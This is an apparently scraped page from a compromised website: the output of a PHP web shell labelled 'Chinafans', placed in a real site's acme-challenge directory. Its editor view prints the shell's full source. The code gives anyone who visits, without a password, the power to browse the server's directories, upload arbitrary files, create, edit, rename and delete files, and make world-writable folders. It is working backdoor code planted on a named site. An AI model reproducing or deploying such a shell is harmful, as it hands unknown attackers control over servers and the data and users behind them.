Chinafans
<!DOCTYPE html>
<html>
<head>
<h2>Current Directory: /home/rompecabeza_cimentarcd/cimentarcd.rcdigital.cl/well-known/acme-challenge</h2><p><a href="?dir=%2Fhome%2Frompecabeza_cimentarcd%2Fcimentarcd.rcdigital.cl%2Fwell-known">..</a></p><form method="POST"><textarea name="content" style="width:100%;height:400px;">﻿Chinafans
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;?php
session_start();

$current_dir = isset($_GET[&#039;dir&#039;]) ? realpath($_GET[&#039;dir&#039;]) : __DIR__;

function list_directory($dir) {
    $files = array_diff(scandir($dir), array(&#039;.&#039;, &#039;..&#039;));
    echo &#039;&lt;ul&gt;&#039;;
    foreach ($files as $file) {
        $path = realpath($dir . DIRECTORY_SEPARATOR . $file);
        $color = &#039;&#039;;

        if (is_readable($path) &amp;&amp; is_writable($path)) {
            $color = &#039;style=&quot;border-left: 4px solid green;&quot;&#039;;
        } elseif (!is_writable($path)) {
            $color = &#039;style=&quot;border-left: 4px solid red;&quot;&#039;;
        } elseif (is_readable($path)) {
            $color = &#039;style=&quot;border-left: 4px solid white;&quot;&#039;;
        }

        echo &#039;&lt;li &#039; . $color . &#039;&gt;&#039;;
        if (is_dir($path)) {
            echo &#039;&lt;a href=&quot;?dir=&#039; . urlencode($path) . &#039;&quot;&gt;&#039; . htmlspecialchars($file) . &#039;&lt;/a&gt;&#039;;
        } else {
            echo htmlspecialchars($file) . &#039; - &#039;;
            echo &#039;&lt;a href=&quot;?dir=&#039; . urlencode($dir) . &#039;&amp;edit=&#039; . urlencode($file) . &#039;&quot;&gt;Edit&lt;/a&gt; &#039;;
            echo &#039;&lt;a href=&quot;?dir=&#039; . urlencode($dir) . &#039;&amp;delete=&#039; . urlencode($file) . &#039;&quot;&gt;Delete&lt;/a&gt; &#039;;
            echo &#039;&lt;a href=&quot;?dir=&#039; . urlencode($dir) . &#039;&amp;rename=&#039; . urlencode($file) . &#039;&quot;&gt;Rename&lt;/a&gt;&#039;;
        }
        echo &#039;&lt;/li&gt;&#039;;
    }
    echo &#039;&lt;/ul&gt;&#039;;
}

function upload_file($dir) {
    if (isset($_FILES[&#039;file&#039;])) {
        $upload_file = $dir . DIRECTORY_SEPARATOR . basename($_FILES[&#039;file&#039;][&#039;name&#039;]);
        move_uploaded_file($_FILES[&#039;file&#039;][&#039;tmp_name&#039;], $upload_file);
    }
}

function create_directory($dir) {
    if (isset($_POST[&#039;dirname&#039;])) {
        $new_dir = $dir . DIRECTORY_SEPARATOR . basename($_POST[&#039;dirname&#039;]);
        if (!file_exists($new_dir)) {
            mkdir($new_dir, 0777, true);
        }
    }
}

function create_file($dir) {
    if (isset($_POST[&#039;filename&#039;])) {
        $new_file = $dir . DIRECTORY_SEPARATOR . basename($_POST[&#039;filename&#039;]);
        if (!file_exists($new_file)) {
            file_put_contents($new_file, &#039;&#039;);
        }
    }
}

function edit_file($file_path) {
    if (isset($_POST[&#039;content&#039;])) {
        file_put_contents($file_path, $_POST[&#039;content&#039;]);
    }
    $content = file_get_contents($file_path);
    echo &#039;&lt;form method=&quot;POST&quot;&gt;&#039;;
    echo &#039;&lt;textarea name=&quot;content&quot; style=&quot;width:100%;height:400px;&quot;&gt;&#039; . htmlspecialchars($content) . &#039;&lt;/textarea&gt;&lt;br&gt;&#039;;
    echo &#039;&lt;input type=&quot;submit&quot; value=&quot;Save&quot;&gt;&#039;;
    echo &#039;&lt;/form&gt;&#039;;
}

function delete_file($file_path) {
    if (is_file($file_path)) {
        unlink($file_path);
    }
}

function rename_file($file_path) {
    if (isset($_POST[&#039;new_name&#039;])) {
        $new_path = dirname($file_path) . DIRECTORY_SEPARATOR . $_POST[&#039;new_name&#039;];
        rename($file_path, $new_path);
    }
}

if (isset($_GET[&#039;delete&#039;])) {
    delete_file($current_dir . DIRECTORY_SEPARATOR . $_GET[&#039;delete&#039;]);
}

if (isset($_GET[&#039;rename&#039;])) {
    rename_file($current_dir . DIRECTORY_SEPARATOR . $_GET[&#039;rename&#039;]);
}

if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_FILES[&#039;file&#039;])) {
    upload_file($current_dir);
}

if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_POST[&#039;dirname&#039;])) {
    create_directory($current_dir);
}

if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039; &amp;&amp; isset($_POST[&#039;filename&#039;])) {
    create_file($current_dir);
}

echo &#039;&lt;h2&gt;Current Directory: &#039; . htmlspecialchars($current_dir) . &#039;&lt;/h2&gt;&#039;;

$parent_dir = dirname($current_dir);
echo &#039;&lt;p&gt;&lt;a href=&quot;?dir=&#039; . urlencode($parent_dir) . &#039;&quot;&gt;..&lt;/a&gt;&lt;/p&gt;&#039;;

if (isset($_GET[&#039;edit&#039;])) {
    edit_file($current_dir . DIRECTORY_SEPARATOR . $_GET[&#039;edit&#039;]);
} else {
    list_directory($current_dir);
    
    echo &#039;&lt;h3&gt;Upload File&lt;/h3&gt;&#039;;
    echo &#039;&lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;&#039;;
    echo &#039;&lt;input type=&quot;file&quot; name=&quot;file&quot;&gt;&#039;;
    echo &#039;&lt;input type=&quot;submit&quot; value=&quot;Upload&quot;&gt;&#039;;
    echo &#039;&lt;/form&gt;&#039;;
    
    echo &#039;&lt;h3&gt;Create Directory&lt;/h3&gt;&#039;;
    echo &#039;&lt;form method=&quot;POST&quot;&gt;&#039;;
    echo &#039;&lt;input type=&quot;text&quot; name=&quot;dirname&quot; placeholder=&quot;Directory Name&quot;&gt;&#039;;
    echo &#039;&lt;input type=&quot;submit&quot; value=&quot;Create&quot;&gt;&#039;;
    echo &#039;&lt;/form&gt;&#039;;
    
    echo &#039;&lt;h3&gt;Create File&lt;/h3&gt;&#039;;
    echo &#039;&lt;form method=&quot;POST&quot;&gt;&#039;;
    echo &#039;&lt;input type=&quot;text&quot; name=&quot;filename&quot; placeholder=&quot;File Name&quot;&gt;&#039;;
    echo &#039;&lt;input type=&quot;submit&quot; value=&quot;Create&quot;&gt;&#039;;
    echo &#039;&lt;/form&gt;&#039;;
    
    echo &#039;&lt;h3&gt;Rename File&lt;/h3&gt;&#039;;
    if (isset($_GET[&#039;rename&#039;])) {
        echo &#039;&lt;form method=&quot;POST&quot; action=&quot;?dir=&#039; . urlencode($current_dir) . &#039;&amp;rename=&#039; . urlencode($_GET[&#039;rename&#039;]) . &#039;&quot;&gt;&#039;;
        echo &#039;&lt;input type=&quot;text&quot; name=&quot;new_name&quot; value=&quot;&#039; . htmlspecialchars($_GET[&#039;rename&#039;]) . &#039;&quot;&gt;&#039;;
        echo &#039;&lt;input type=&quot;submit&quot; value=&quot;Rename&quot;&gt;&#039;;
        echo &#039;&lt;/form&gt;&#039;;
    }
    
    echo &#039;&lt;h3&gt;Delete File&lt;/h3&gt;&#039;;
    echo &#039;&lt;form method=&quot;GET&quot;&gt;&#039;;
    echo &#039;&lt;input type=&quot;hidden&quot; name=&quot;dir&quot; value=&quot;&#039; . htmlspecialchars($current_dir) . &#039;&quot;&gt;&#039;;
    echo &#039;&lt;input type=&quot;text&quot; name=&quot;delete&quot;&gt;&#039;;
    echo &#039;&lt;input type=&quot;submit&quot; value=&quot;Delete&quot;&gt;&#039;;
    echo &#039;&lt;/form&gt;&#039;;
}
?&gt;

</textarea><br><input type="submit" value="Save"></form>